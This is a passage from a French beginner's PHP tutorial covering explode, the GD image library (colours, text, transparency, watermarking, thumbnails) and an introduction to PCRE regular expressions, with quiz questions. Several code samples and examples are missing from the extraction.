Avec la fonction explode, on peut transformer cette chaîne en un array à 3 éléments (on dit qu'on la fait "exploser"). Il
suffit simplement d'indiquer la chaîne et le séparateur (ici le slash), et la fonction nous retourne alors un array
numéroté qui contiendra le jour, le mois et la date.
Concrètement, ça nous donne :
Code : PHP
<?php
$chaine_date = '05/08/1985'; // On a une chaîne
$array_chaine = explode('/', $chaine_date); // On transforme cette
chaîne en array
Essayer !
Dans la pratique, on a régulièrement besoin de la fonction explode. Il faut dire qu'elle fait si bien les choses, que la
seule chose qu'on pourrait lui reprocher c'est de ne pas l'avoir connue plus tôt.
Il existe aussi une fonction implode qui fait l'inverse de explode (elle transforme un array en chaîne). Elle
s'utilise de la même manière, mais on en a besoin un peu moins souvent.
Q.C.M.
Code : Autre
Array
Qu'affiche ce code ?
Code : PHP
<?php
$jeu = array("Pierre", "Feuille", "Ciseaux");
if (in_array("Ciseaux", $jeu))
{
if (in_array("Puits", $jeu))
{
echo array_search("Puits", $jeu);
}
else
{
echo array_search("Feuille", $jeu);
}
}
?>
Puits
Rien du tout
Code : PHP
<?php
$liste_nombres = array(5, 15, 2, 7, -3);
$total = 0;
foreach($liste_nombres as $nombre)
{
$total = $total + $nombre;
}
?>
26
29
27
Qu'affiche ce code ?
Code : PHP
<?php
$jeu1 = array('Pierre', 'Feuille', 'Ciseaux');
$jeu_chaine = 'Portail%Pierre%Puits';
$jeu2 = explode ('%', $jeu_chaine);
$objet_cherche = 'Pierre';
Bim
Bam
Boum
Correction !
Plus d'informations
Vous savez quoi ? Il y a des gens qui croient que le PHP c'est fait que pour générer des pages web !
Si si je vous jure !
En fait, à la base, PHP a bien été créé pour réaliser des pages web. Mais, au fur et à mesure, on s'est rendu compte
qu'il serait dommage de le limiter à ça. On a donc prévu de pouvoir lui rajouter des "extensions". Ainsi, en rajoutant
certains fichiers (des DLL sous Windows), PHP peut alors se mettre à générer des images, ou même des PDF !
Dans ce chapitre, nous allons parler de l'extension spécialisée dans la génération d'images, il s'agit de la librairie GD.
Ne vous y trompez pas : ce que je vais vous apprendre c'est toujours du PHP ! Et vous allez pouvoir faire grâce à ce
chapitre des choses vraiment passionnantes, vous pouvez me croire !
Sommaire du chapitre :
Activer la librairie GD
Les bases de la création d'image
Texte et couleur
Dessiner une forme
Des fonctions encore plus puissantes
Q.C.M.
Activer la librairie GD
On a déjà un problème (ça commence fort )
En effet, la librairie GD (qui vous permet de créer des images) est livrée avec PHP, mais elle n'est pas activée. Ca veut
dire quoi ? Qu'il va falloir demander de l'activer tout simplement
Pour ce faire, il suffit de cliquer avec le bouton gauche de la souris sur l'icône de WAMP dans la barre des tâches, puis
d'aller dans "Configuration PHP", "Extension PHP" (tout en bas), et enfin de cliquer sur "php_gd2" dans la longue liste
qui s'affiche devant vous.
WAMP va relancer automatiquement le serveur Apache pour qu'il prenne en compte les changements. Vous n'avez rien
de plus à faire, GD est activé sur votre ordinateur
Ne désespérez pas pour autant, il existe certainement des hébergeurs gratuits qui acceptent la librairie GD... Sinon, il
faudra peut-être trouver un hébergement payant (on peut en trouver des pas chers qui ont activé GD !).
Voici le plan que nous allons suivre pour créer une image :
Y'a du boulot
Le header
Soit on fait en sorte que notre script PHP renvoie une image (au lieu d'une page web comme on avait
l'habitude). Dans ce cas, si on va sur la page http://www.monsite.com/testgd.php, ça affichera une image et
non pas une page web !
Soit on demande à PHP d'enregistrer l'image dans un fichier.
Mais comment faire pour que le navigateur sache que c'est une image et non pas une page HTML qu'il doit
afficher ?
Il va falloir envoyer ce qu'on appelle un header (en-tête). Grâce à la fonction header, on va "dire" au navigateur que
l'on est en train d'envoyer une image.
Je vous rappelle les types d'images les plus courants sur le web :
JPEG : c'est un format très adapté pour les photos par exemple, car on peut utiliser beaucoup de couleurs.
PNG : c'est le format le plus récent, très adapté dans la plupart des cas. En fait, à moins d'avoir affaire à une
photo, le mieux est d'utiliser le PNG.
Le PNG est en quelque sorte le "remplaçant" du format GIF.
Donc pour faire simple : si c'est une photo, vous faites un JPEG, sinon dans tous les autres cas vous faites un PNG
Voici le code PHP qu'il faut mettre pour "annoncer" au navigateur que l'on va renvoyer une image PNG :
Code : PHP
<?php
header ("Content-type: image/png");
?>
Voilà, c'est assez simple. Ce code signifiera pour le navigateur que l'on envoie une image PNG, et non pas une page
HTML.
Si vous envoyez un JPEG, c'est presque pareil, mais vous remplacez le "png" par "jpeg".
La fonction header est particulière. Comme setcookie, elle doit être utilisée avant d'avoir écrit le moindre
code HTML.
En clair, mettez cette ligne tout au début de votre code, et vous n'aurez pas de problèmes.
Il faut savoir qu'il y a 2 façons de créer une image : soit vous créez une nouvelle image vide, soit vous chargez une
image qui existe déjà et qui servira de fond à votre nouvelle image.
Code : PHP
<?php
header ("Content-type: image/png");
$image = imagecreate(200,50);
?>
Ici, nous sommes en train de créer une image de 200 pixels de large et 50 pixels de haut.
$image ne contient ni un nombre, ni du texte. Cette variable contient une "image". C'est assez difficile à
imaginer qu'une variable puisse "contenir" une image, mais c'est comme ça j'y peux rien
On dit que $image est une "ressource". Une ressource est une variable un peu spéciale qui contient
toutes les informations sur un objet. Ici, il s'agit d'une image, mais il pourrait très bien s'agir d'un PDF ou même
d'un fichier que vous avez ouvert avec fopen. Tiens tiens, ça vous rappelle quelque chose ?
Maintenant l'autre possibilité : créer une image à partir d'une image déjà existante.
Cette fois, il y a 2 fonctions à connaître. Laquelle choisir ? Ca dépend du type de l'image que vous voulez
charger :
JPEG : il faut utiliser la fonction imagecreatefromjpeg.
PNG : il faut utiliser la fonction imagecreatefrompng.
Par exemple, j'ai une jolie photo de coucher de soleil qui s'appelle couchersoleil.jpg :
Pour créer une nouvelle image en se basant sur celle-là, je dois utiliser la fonction imagecreatefromjpeg. Ca
nous donnerait le code suivant :
Code : PHP
<?php
header ("Content-type: image/jpeg");
$image = imagecreatefromjpeg("couchersoleil.jpg");
?>
Une fois que vous avez chargé l'image, vous vous amusez à écrire du texte dedans, à faire des cercles, des carrés etc...
Ca, nous allons l'apprendre juste après.
Là, je vais vous montrer comment on fait pour dire à PHP qu'on a fini et qu'on veut afficher l'image.
La fonction à utiliser dépend du type de l'image que vous êtes en train de créer :
Ces 2 fonctions marchent de la même manière : vous avez juste besoin d'indiquer quelle est l'image que vous voulez
afficher.
Il faut savoir qu'il y a 2 façons d'utiliser les images en PHP : vous pouvez les afficher directement après les avoir
créées, ou vous pouvez les enregistrer sur le disque pour pouvoir les réafficher plus tard sans avoir à refaire tous les
calculs.
Afficher directement l'image : c'est la méthode que l'on va utiliser dans la plupart de ce chapitre. Quand la
page PHP est exécutée, elle vous affiche l'image que vous lui avez demandé de créer.
Vous avez toujours votre variable $image sous la main ? Parfait
Alors voici le code complet que j'utilise pour créer une nouvelle image PNG de taille 200x50 et l'afficher
directement :
Code : PHP
<?php
header ("Content-type: image/png"); // 1 : on indique qu'on va
envoyer une image PNG
$image = imagecreate(200,50); // 2 : on crée une nouvelle image de
taille 200x50 // 3 : on fait joujou avec notre image (on va
apprendre à le faire)
imagepng($image); // 4 : on a terminé de faire joujou, on demande à
afficher l'image
?>
C'est bien joli, mais là on n'a qu'une image sous les yeux. Et si je veux mettre du texte autour ? Les
menus de mon site ?
En fait, on utilise une technique qui, j'en suis sûr, va pas mal vous surprendre. On va demander à afficher la
page PHP comme une image.
Donc, si la page PHP s'appelle "image.php", vous mettrez ce code HTML pour l'afficher depuis une autre page :
Incredible, isn't it ?
Mais en fait, c'est logique quand on y pense ! La page PHP que l'on vient de créer EST une image (parce qu'on a
modifié le header). On peut donc afficher l'image que l'on vient de créer depuis n'importe quelle page de votre
Code : PHP
<?php
$image = imagecreate(200,50);
// on fait joujou avec notre image
imagepng($image, "images/monimage.png"); // on enregistre l'image
dans le dossier "images"
?>
Cette fois, l'image a été enregistrée sur le disque avec le nom "monimage.png". Pour l'afficher depuis une autre
page web, vous ferez donc comme ceci :
Mais... Mais ??? Si je teste ces codes, ça crée une image toute blanche ! C'est nul, il s'est rien passé de bien !
Oui, je sais. Vous avez été patients et c'est bien parce que c'est maintenant que ça va devenir intéressant.
Allez donc chercher votre baguette magique, je vous attends
Texte et couleur
C'est bon, vous avez votre baguette magique ?
Alors voici ce que nous allons apprendre à faire maintenant :
Vous allez commencer à voir un peu ce qu'il est possible de faire grâce à la librairie GD, mais vous verrez plus loin
qu'on peut faire bien plus
Un ordinateur, il faut le savoir, décompose chaque couleur en Rouge-Vert-Bleu. En mélangeant les quantités de rouge,
vert et bleu, ça nous donne une couleur parmi les millions de possibilités !
On indique la "quantité" de rouge, vert et bleu par un nombre compris entre 0 et 255.
Par exemple, si je dis que je mets 255 de bleu, ça veut dire qu'on met tout le bleu.
Si je mets 100 de bleu, bah il y a un peu moins de bleu.
Si je mets 0, alors là y'a plus du tout de bleu.
On doit écrire les 3 quantités dans l'ordre RVB (Rouge Vert Bleu). Par exemple :
Ca, c'est une couleur qui contient plein de rouge, et pas du tout de vert ni de bleu. C'est donc la couleur... rouge !
Bravo !
Pour info, la couleur blanche correspond à (255 255 255), et la couleur noire à (0 0 0).
Si vous avez un logiciel de dessin comme Paint et que vous allez dans le menu Couleur / Modifier les couleurs, vous
pouvez choisir la couleur que vous voulez :
Comme vous pouvez le voir, en cliquant sur la couleur qui vous intéresse on vous donne les quantités de Rouge Vert
Bleu.
Vous pouvez donc choisir la couleur que vous voulez. Allez-y, servez-vous
Mais revenons à ce qui nous intéresse : PHP (c'est bien pour ça que vous êtes là non ? )
Pour définir une couleur en PHP, on doit utiliser la fonction : imagecolorallocate.
On lui donne 4 paramètres : l'image sur laquelle on travaille, la quantité de rouge, la quantité de vert, et la quantité
de bleu.
Cette fonction nous renvoie la couleur dans une variable. Grâce à cette fonction, on va pouvoir se créer plein de
"variables-couleur" qui vont nous être utiles pour indiquer la couleur ensuite.
Voici quelques exemples de création de couleur :
Code : PHP
<?php
header ("Content-type: image/png");
$image = imagecreate(200,50);
imagepng($image);
?>
Et voilà, on s'est préparés plein de couleurs qui vont beaucoup nous servir ensuite !
Une chose très importante à noter : la première fois que vous faites un imagecolorallocate, cette couleur devient la
couleur de fond de votre image.
Donc, si vous avez bien compris, ce code doit créer une image... toute orange ! Essayez !
Essayer !
Si j'avais voulu que le fond soit blanc et pas orange, il aurait fallu mettre la ligne "$blanc..." en premier.
Voilà, vous savez maintenant créer toutes les couleurs de l'arc-en-ciel en PHP (et même plus )
Ecrire du texte
Cette fonction prend pas mal de paramètres. Elle s'utilise comme suit :
Il existe aussi la fonction imagestringup qui fonctionne exactement pareil, sauf qu'elle écrit le texte
verticalement au lieu d'horizontalement !
Je vous détaille les paramètres dans l'ordre, c'est important que vous compreniez bien :
Comme vous pouvez le voir, j'ai marqué en bleu les 4 points des côtés de l'image. 0, 0 se trouve tout en haut à
gauche, et 200, 50 se trouve tout en bas à droite.
Si vous avez juste un peu l'habitude des maths, ça ne devrait pas vous poser de problème.
Sinon, vous me ferez le plaisir de réouvrir votre livre de géométrie page 125
$texte_a_ecrire, c'est le... texte que vous voulez écrire. Non non, y'a pas de piège
$couleur, c'est une couleur que vous avez créé tout à l'heure avec imagecolorallocate.
Code : PHP
<?php
header ("Content-type: image/png");
$image = imagecreate(200,50);
imagepng($image);
?>
Essayer !
La ligne avec imagestring peut se traduire par : Mets dans l'image $image, avec la police de taille 4, aux coordonnées
(35, 15), le texte "Salut les Zér0s !", de couleur blanche.
Bien entendu, vous me direz qu'avec un bon Photoshop (ou même Paint), on peut faire pareil et c'est moins compliqué.
Oui c'est vrai, mais l'avantage c'est qu'on est en PHP là ! On peut donc faire varier le texte à afficher.
Un exemple ? Je souhaite afficher l'heure qu'il est, mais sur un fond différent selon qu'il fait jour ou qu'il fait nuit :
Code : PHP
<?php
header ("Content-type: image/png");
$image = imagecreate(200,50);
$heure = 'Il est ' . date('H\h i'); // On stocke l'heure et les minutes
dans une variable
imagepng($image);
?>
Essayer !
C'est assez simple : je teste l'heure pour voir s'il fait jour ou pas, et en fonction de ça j'utilise des couleurs différentes.
Je vous rappelle que le premier imagecolorallocate définit la couleur de fond de l'image.
Je stocke la couleur du texte dans une variable pour m'en resservir plus loin : ça me permettra d'afficher le texte dans
la bonne couleur, selon qu'il fait jour ou qu'il fait nuit.
Pour vérifier si le changement de couleur fonctionne bien (et que je ne bluffe pas ), revenez tester cet exemple à
un autre moment de la journée
Vous pourriez améliorer ce script en chargeant une image de fond différente selon qu'il fait jour ou qu'il fait
nuit. S'il fait jour vous chargez une photo de soleil en fond, et s'il fait nuit vous chargez une photo de Lune.
Vous allez voir que ça a de suite plus de classe !
Je vais vous présenter la plupart de ces fonctions ci-dessous, et je vous montrerai ce que ça donne dans une image de
taille 200x200, histoire d'avoir un aperçu
On peut aussi dessiner des lignes plus épaisses. Pour cela, il faut utiliser la fonction ImageSetThickness. On doit
préciser l'image concernée et l'épaisseur voulue (en pixels) :
Lorsque vous changez l'épaisseur, toutes les formes que vous dessinez après gardent cette épaisseur. Pour revenir à
l'épaisseur initiale (1 pixel), il faut donc refaire appel à ImageSetThickness en demandant une épaisseur de 1.
Voilà, c'est pas bien compliqué pourvu qu'on sache bien manier les coordonnées des pixels
Des rectangles, des ellipses, des lignes... Ouais bof. C'est tout ce qu'on peut faire ?
Bien sûr que non ! Il y a d'autres fonctions que je veux absolument vous montrer parce qu'elles permettent de faire de
très belles choses facilement !
Nous allons apprendre à :
J'espère que vous êtes encore en forme, ça serait dommage de s'endormir sur les fonctions les plus intéressantes
Tout d'abord, il faut savoir que seul le PNG peut être rendu transparent. En effet, un des gros défauts du JPEG est
qu'il ne supporte pas la transparence.
Nous allons donc ici travailler sur un PNG.
Je vais reprendre l'exemple de l'image où j'ai écrit "Salut les Zér0s !" sur un vieux fond orange, et je vais y rajouter la
fonction imagecolortransparent pour rendre ce fond transparent :
Code : PHP
<?php
header ("Content-type: image/png");
$image = imagecreate(200,50);
imagepng($image);
?>
Sympa, non ?
Ca, c'est un tout petit peu plus compliqué que de rendre une image transparente, mais bon je vous rassure c'est loin
d'être insurmontable quand même et ça en vaut la peine
La fonction que je vais vous présenter permet de "fusionner" deux images en jouant sur un effet de transparence. Ca a
l'air tordu comme ça, mais c'est en fait quelque chose de vraiment génial !
On peut s'en servir par exemple pour afficher le logo de son site sur une image.
Voici le logo :
Code : PHP
<?php
header ("Content-type: image/jpeg"); // L'image que l'on va créer est un jpeg
// On veut placer le logo en bas à droite, on calcule les coordonnées où on doit placer le log
$destination_x = $largeur_destination - $largeur_source;
$destination_y = $hauteur_destination - $hauteur_source;
Notez toutefois que le résultat rend "bien" sur mon exemple parce que le logo a un fond noir. Il s'incruste donc
facilement dans l'image.
En pratique, la fusion ne sera peut-être pas aussi jolie qu'ici si les fonds ne correspondent pas.
Cependant, le script utilisé ici est un petit peu plus complexe, et je crois que quelques explications ne seraient pas de
refus
Dans ce script, on manipule 2 images : $source (le logo) et $destination (la photo). Les deux sont créées à l'aide
de la fonction imagecreatefrompng (et fromjpeg pour la photo).
Il y a ensuite toute une série de calculs à partir des coordonnées et de la largeur et hauteur des images.
J'imagine que ça a dû vous faire peur, mais c'est en fait très simple du temps qu'on sait faire une soustraction
Notre but est de savoir à quelles coordonnées placer le logo sur la photo. Moi, je veux le mettre tout en bas à
droite. Pour ça, j'ai besoin de connaître la dimension des images. J'utilise les fonctions imagesx et imagesy pour
récupérer les dimensions du logo et de la photo.
Ensuite, pour placer le logo tout en bas, il faut le mettre à la position $hauteur_de_la_photo -
$hauteur_du_logo. On fait de même pour placer le logo à droite : $largeur_de_la_photo - $largeur_du_logo. Si
j'avais voulu mettre le logo tout en haut à gauche, là ça aurait été beaucoup plus simple : pas besoin de faire
de calculs, vu qu'en haut à gauche c'est les coordonnées (0, 0) !
Vient ensuite la fonction imagecopymerge, la plus importante. Elle prend tout plein de paramètres. Ce qu'il
faut savoir, c'est qu'elle a besoin de 2 images : une source et une destination. Elle modifie l'image de
destination (ici la photo) pour y intégrer l'image source. Cela explique pourquoi c'est $destination que l'on
affiche à la fin, et non pas $source (le logo) qui n'a pas changé.
Les paramètres à donner à la fonction sont, dans l'ordre :
1. L'image de destination : ici $destination, la photo. C'est l'image qui va être modifiée et dans laquelle on
va mettre notre logo.
2. L'image source : ici $source, c'est notre logo. Cette image n'est pas modifiée.
3. L'abscisse où vous désirez placer le logo sur la photo : il s'agit ici de l'abscisse du point située à la
position largeur_de_la_photo - $largeur_du_logo
4. L'ordonnée où vous désirez placer le logo sur la photo : de même, il s'agit de l'ordonnée du point sur la
photo (ici $hauteur_de_la_photo - $hauteur_du_logo).
5. L'abscisse de la source : en fait, la fonction imagecopymerge permet aussi de ne prendre qu'une partie
de l'image source. Ca peut devenir un peu compliqué, alors nous on va dire qu'on prend tout le logo. On
part donc du point situé aux coordonnées (0, 0) de la source. Mettez donc 0 pour l'abscisse.
6. L'ordonnée de la source : de même pour l'ordonnée. Mettez 0.
7. La largeur de la source : c'est la largeur qui détermine quelle partie de l'image source vous allez
prendre. Nous on prend toute l'image source, donc vous prenez pas la tête non plus et mettez
$largeur_source.
8. La hauteur de la source : de même, mettez $hauteur_source.
9. Le pourcentage de transparence : c'est un nombre entre 0 et 100 qui indique la transparence de votre
logo sur la photo. Si vous mettez 0, le logo sera invisible (totalement transparent) et si vous mettez 100
il sera totalement opaque (il n'y aura pas de joli effet de "fusion"). Mettez un nombre autour de 60-70,
en général c'est pas mal
Concrètement, on peut se servir de ce code pour faire une page "copyrighter.php". Cette page prendra un paramètre :
le nom de l'image à copyrighter.
Par exemple, si vous voulez copyrighter automatiquement "tropiques.jpg", vous afficherez l'image comme ceci :
C'est une des fonctionnalités les plus intéressantes de la librairie GD à mon goût. Ca permet de créer des miniatures de
nos images.
Vous pouvez vous en servir par exemple pour faire une galerie de photos. Vous affichez les miniatures et si vous cliquez
sur l'une d'elles, ça l'affiche dans sa taille originale.
Pour redimensionner une image, on va utiliser la fonction imagecopyresampled. C'est une des fonctions les plus
poussées car elle fait beaucoup de calculs mathématiques pour créer une miniature de bonne qualité. Le résultat est
très bon, mais cela donne énormément de travail au processeur.
Cette fonction est donc puissante mais lente. Tellement lente que certains hébergeurs désactivent la fonction
pour éviter que le serveur ne rame.
Il serait suicidaire d'afficher directement l'image à chaque chargement d'une page. Nous allons donc créer la miniature
une fois pour toutes et l'enregistrer dans un fichier.
Nous allons donc enregistrer notre miniature dans un fichier (par exemple "mini_couchersoleil.jpg"). Cela veut dire
qu'on peut déjà virer la première ligne (le header) qui ne sert plus à rien.
Comme pour imagecopymerge, on va avoir besoin de 2 images : la source et la destination. Ici, la source c'est l'image
originale, et la destination c'est l'image miniature que l'on va créer.
La première chose à faire sera donc de créer une nouvelle image vide... Avec quelle fonction ? imagecreate ? Oui, c'est
presque la bonne réponse.
Le problème voyez-vous, c'est que imagecreate crée une nouvelle image dont le nombre de couleurs est limité (256
couleurs maximum en général). Or, notre miniature contiendra peut-être plus de couleurs que l'image originale à cause
des calculs mathématiques.
On va donc devoir utiliser une autre fonction dont je ne vous ai pas encore parlé : imagecreatetruecolor. Elle
fonctionne de la même manière que imagecreate, mais cette fois l'image pourra contenir beaucoup plus de couleurs
Voici le code que je vais utiliser pour générer la miniature de ma photo "couchersoleil.jpg" :
Code : PHP
<?php
$source = imagecreatefromjpeg("couchersoleil.jpg"); // La photo est la source
$destination = imagecreatetruecolor(200, 150); // On crée la miniature vide
// On crée la miniature
imagecopyresampled($destination, $source, 0, 0, 0, 0, $largeur_destination, $hauteur_destinati
Avant on avait ça :
Je sais pas ce que vous en pensez, mais moi je trouve ça très efficace
Vous pouvez afficher ensuite l'image avec le code HTML :
Comme vous pouvez le voir, imagecopyresampled permet de faire beaucoup de choses, et en général on ne se servira
pas de tout.
Pas mal de paramètres sont à 0, et c'est pas vraiment la peine de chercher à comprendre pourquoi (même si c'est pas
bien compliqué). Basez-vous sur mon exemple pour créer vos miniatures, et le tour sera joué
Q.C.M.
Code : PHP
<?php
header ("Content-type: image/png");
?>
Il faut ajouter le nom de l'image dans un second paramètre de imagepng (ou imagejpeg)
Pour indiquer à PHP une couleur, on doit lui indiquer trois composantes. Dans quel ordre ?
En haut à gauche
Au centre
En bas à droite
ImageTransparent
ImageColorTransparent
ImageTransparentColor
Code : PHP
<?php
$points = array(10, 10, 20, 10, 20, 20, 10, 20);
ImageFilledPolygon ($image, $points, 4, $noir);
?>
Un trapèze
Un carré
Un triangle
Quand on mélange deux images avec , laquelle est placée au-dessus de l'autre ?
La source
La destination
Correction !
J'ai essayé de vous expliquer un maximum de fonctions, et pourtant je n'ai pas pu parler de tout. Il y a d'autres
fonctions susceptibles de vous intéresser, que vous pourrez trouver dans la documentation en cliquant ici.
La liste des fonctions disponibles se trouve un peu plus bas sur la page. Bonne pêche !
Plus d'informations
Croyez-moi si vous voulez, mais ce truc imprononçable... eh bien ça veut vraiment dire quelque chose ! Si si je vous
jure !
Ok, je ne vous le cache pas, y'a du boulot parce qu'on va traiter ici de ce que je trouve être un des trucs les plus
difficiles du PHP, mais paradoxalement c'est très utile, intéressant (certains diront même "passionnant").
A quoi ça sert ? En fait, c'est un système très puissant et très rapide pour faire des recherches dans des chaînes de
caractères (des phrases par exemple). C'est une sorte de fonctionnalité Rechercher / Remplacer très poussée, dont
vous ne pourrez plus vous passer une fois que vous saurez vous en servir.
Des exemples ?
Vérifier automatiquement si l'adresse e-mail entrée par le visiteur a une forme valide (comme "[email protected]")
Modifier une date que vous avez au format américain (08-05-1985) pour la mettre dans le bon ordre en français
(05/08/1985)
Remplacer automatiquement toutes les adresses "http://" par des liens cliquables, comme ça se fait sur
certains forums.
Ou encore créer votre propre langage simplifié à partir du HTML, comme le fameux bbCode ([b][/b]...)
Ouvrez grand vos oreilles et attachez vos ceintures. C'est partiii yiiiiihhhaaaa !!!
Sommaire du chapitre :
POSIX ou PCRE ?
Bonne nouvelle : vous n'aurez pas à activer quoi que ce soit pour faire des expressions régulières (pas comme c'était le
cas pour la librairie GD).
POSIX : c'est un langage d'expressions régulières mis en avant par PHP, qui se veut un peu plus simple que PCRE
(ça n'en reste pas moins assez complexe). Toutefois, son principal et gros défaut je dirais, c'est que ce
"langage" est plus lent que PCRE.
PCRE : ces expressions régulières sont issues d'un autre langage (le Perl). Considérées comme (un peu) plus
complexes, elles sont surtout bien plus rapides et performantes.
PHP propose donc de choisir entre POSIX et PCRE. Et, pour ma part, le choix est tout fait : nous allons étudier PCRE.
Rassurez-vous, ce n'est pas beaucoup plus compliqué que POSIX, mais ça a l'avantage d'être très rapide. Et à notre
niveau de PHP, ce qui nous intéresse justement c'est la rapidité
Nous avons donc choisi PCRE. Il existe plusieurs fonctions utilisant le "langage PCRE" qui commencent toutes par
"preg_" :
preg_grep
preg_split
preg_quote
preg_match
preg_match_all
preg_replace
preg_replace_callback
Chaque fonction a sa particularité, certaines permettent de faire simplement une recherche, d'autre une
recherche / remplacement, mais leur gros point commun c'est qu'elles utilisent un "langage" identique pour faire une
recherche.
Lorsque vous aurez appris le langage PCRE, vous pourrez utiliser chacune d'elles sans problème.
Pour éviter d'avoir trop de théorie (ça serait vraiment barbant), on va commencer pour s'entraîner à utiliser une de ces
fonctions : preg_match.
preg_match
En utilisant cette fonction, vous pourrez vous exercer en même temps que moi et voir petit à petit si vous avez
compris le principe du langage PCRE.
Il faut juste savoir que cette fonction renvoie un booléen : VRAI ou FAUX (true ou false en anglais). Elle renvoie true
(vrai) si elle a trouvé le mot que vous cherchiez dans la chaîne, faux (false) si elle ne l'a pas trouvé.
Vous devez lui donner 2 informations : votre regex (c'est le petit surnom qu'on donne à "expression régulière") et la
chaîne dans laquelle vous faites une recherche.
Voici par exemple comment on peut s'en servir, à l'aide d'une condition if :
Code : PHP
<?php
if (preg_match("** Votre REGEX **", "Ce dans quoi vous faites la
recherche"))
{
echo 'Le mot que vous cherchez se trouve dans la chaîne';
}
else
{
echo 'Le mot que vous cherchez ne se trouve pas dans la chaîne';
}
?>
A la place de "** Votre REGEX **", vous taperez quelque chose en langage PCRE, comme ce que je vous ai montré au
début de ce chapitre :
C'est justement ceci qui nous intéresse, c'est sur ça que nous allons nous pencher par la suite.
Parce que, au cas où vous l'auriez pas remarqué, ce truc-là est franchement pas évident à lire... Et le chinois a l'air
tout simple à côté
Première chose importante à savoir : une regex (= expression régulière) est toujours entourée de caractères spéciaux
appelés délimiteurs.
On peut choisir n'importe quel caractère spécial comme délimiteur, et pour éviter de tourner en rond trop longtemps
je vais vous en imposer un : le dièse !
Votre regex se trouve alors entourée de dièses, comme ceci :
Euh, mais à quoi servent les dièses, puisque de toute façon la regex est entourée par des guillemets dans la
fonction PHP ?
Parce que, si on veut, on peut utiliser des options. On ne va pas parler des options tout de suite (on n'en a pas besoin
pour commencer), mais sachez que ces options se mettent après le second dièse, comme ceci :
A la place de "Ma regex", vous devez mettre le mot que vous recherchez.
Prenons un exemple : vous aimeriez savoir si une variable contient le mot "guitare". Il vous suffit d'utiliser la regex
suivante pour faire la recherche :
Code : PHP
<?php
if (preg_match("#guitare#", "J'aime jouer de la guitare."))
{
echo 'VRAI';
}
else
{
echo 'FAUX';
}
?>
Essayez !
Comme vous pouvez le voir, notre script affiche VRAI parce que le mot guitare a été trouvé dans la phrase "J'aime
jouer de la guitare."
Retenez bien ce petit bout de code, nous allons le garder un moment en changeant parfois la regex, parfois la phrase
dans laquelle on fait la recherche.
Pour que vous compreniez bien comment les regex se comportent, je vais vous présenter les résultats dans un tableau,
comme ceci :
Il y a quelque chose qu'il faut que vous sachiez : les regex font la différence entre majuscules et minuscules (on dit
qu'elles sont "sensibles à la casse").Tenez, regardez ces 2 regex par exemple :
Comment faire si on veut que nos regex ne fassent plus la différence entre majuscules et minuscules ?
On va utiliser justement une option. C'est la seule que vous aurez besoin de retenir pour le moment. Il faut rajouter la
lettre "i" après le 2ème dièse, et la regex ne fera plus attention à la casse :
Dans le dernier exemple, je n'ai pas mis l'option "i" alors on m'a répondu FAUX.
Mais dans les autres exemples, vous pouvez voir que le "i" a permis de ne plus faire la différence majuscules /
minuscules
Le symbole OU
On va maintenant utiliser le symbole OU, que vous avez déjà vu dans le chapitre sur les conditions : c'est la barre
verticale "|".
Grâce à elle, vous allez pouvoir laisser plusieurs possibilités à votre regex. Ainsi, si vous tapez :
Cela veut dire que vous cherchez soit le mot "guitare", soit le mot "piano". Si un des 2 mots est trouvé, la regex répond
VRAI.
Voici quelques exemples :
Dans le dernier exemple, j'ai mis 2 fois la barre verticale. Cela signifie que l'on recherche guitare OU piano OU banjo.
C'est compris jusque-là ?
Parfait !
On peut maintenant voir les histoires de début et de fin de chaîne, et ensuite on pourra passer à la vitesse supérieure
Les regex permettent d'être très très précis, vous allez bientôt vous en rendre compte.
Jusqu'ici en effet, le mot pouvait se trouver n'importe où. Mais supposons que l'on veuille que la phrase commence ou
se termine par ce mot ?
Ainsi, si vous voulez qu'une chaîne commence par "Bonjour", il faudra utiliser la regex :
Si vous mettez le symbole "^" devant le mot, alors ce mot devra obligatoirement se trouver au début de la chaîne,
sinon on vous répondra FAUX.
De même, si on veut vérifier que la chaîne se termine par "zéro", on écrira cette regex :
Compris ? Voici une série de tests pour que vous voyiez bien comment ça fonctionne :
Simple non ?
Dans le dernier cas ça ne fonctionne pas, car la chaîne ne se termine pas par "zéro" mais par "!!!". Donc forcément, on
nous répond faux...
Grâce à ce qu'on appelle les classes de caractères, on peut faire varier énormément les possibilités de recherche.
Tout cela tourne autour des crochets. On place une classe de caractères entre crochets dans une regex.
Cela nous permet de mettre énormément de possibilités de recherche à la fois, tout en restant très précis.
Entre crochets, c'est ce qu'on appelle la classe de caractères. Cela signifie qu'une des lettres à l'intérieur peut
convenir.
Dans ce cas-ci, notre regex reconnaît 2 mots : "gris" et "gros". C'est un peu comme le OU qu'on a appris tout à l'heure,
sauf que ça s'applique ici à une lettre et non pas à un mot.
Cela signifie "i" OU "o" OU "a". Donc notre regex reconnaît les mots "gris", "gros" et "gras" !
Allez, on se fait quelques exemples :
Chaîne Regex Résultat
La nuit, tous les chats sont gris #gr[aoi]s# VRAI
Bêrk, c'est trop gras comme nourriture #gr[aoi]s# VRAI
Bêrk, c'est trop gras comme nourriture #gr[aoi]s$# FAUX
Je suis un vrai zéro #[aeiouy]$# VRAI
Je suis un vrai zéro #^[aeiouy]# FAUX
Je suppose que vous comprenez les deux premières regex. Mais je pense que vous auriez besoin d'explications sur les
trois dernières :
Pour "Bêrk, c'est trop gras comme nourriture", j'ai utilisé cette fois la regex . Si vous avez bien
suivi ce que je vous ai dit tout à l'heure, ça veut dire que notre chaîne doit se terminer par "gris", "gras" ou
"gros". Or, ici le mot est au milieu, donc on nous répond FAUX. Essayez de le mettre à la fin et vous verrez que
ça marche
Ensuite "Je suis un vrai zéro" avec la regex . Celle-ci signifie que notre regex doit se terminer
par une voyelle (aeiouy). Ca tombe bien, la dernière lettre de la chaîne est la lettre "o", donc on nous répond
VRAI
Enfin, même chaîne mais avec la regex . Cette fois, la chaîne doit commencer par une voyelle (en
minuscule en plus). Or, la chaîne commence par "J", donc la réponse est FAUX !
mal
Grâce au symbole "-" (le tiret), on peut autoriser toute une plage de caractères.
Par exemple, tout à l'heure on a utilisé la classe [aeiouy]. Ok c'est pas trop long.
Mais que dites-vous de la classe [abcdefghijklmnopqrstuvwxyz] ? Tout ça pour dire que vous voulez qu'il y ait une
lettre ?
J'ai mieux !
Vous avez le droit d'écrire : [a-z] ! Avouez que c'est plus court ! Et si vous voulez vous arrêter à la lettre "e", pas de
problème non plus : [a-e].
